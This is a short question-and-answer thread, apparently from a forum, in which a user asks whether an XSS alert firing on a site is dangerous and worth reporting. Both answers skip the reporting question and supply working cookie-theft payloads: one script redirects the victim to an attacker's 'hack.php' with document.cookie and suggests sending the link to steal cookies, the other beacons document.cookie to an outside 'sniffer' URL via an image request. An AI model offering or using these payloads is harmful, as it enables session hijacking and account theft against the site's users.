How to check XSS vulnerability?

Question

Information Security

Running: javascript: alert('xss')

Dangerous? Is it worth writing to support or will they send me?

Answer 1

Is it done in a GET request? We substitute instead of an alert

<script>
document.location="http://yoursite.com/hack.php?cookie=" + document.cookie;document.location="http://www.site.com"
</script>

Where hack.php is our simple script for saving cookies. Sending a link, stealing cookies.

Answer 2

If you have alert('xss') executed, then some

var t=new Image();t.src='http://google.com/sniffer/?'+document.cookie;

Must be executed.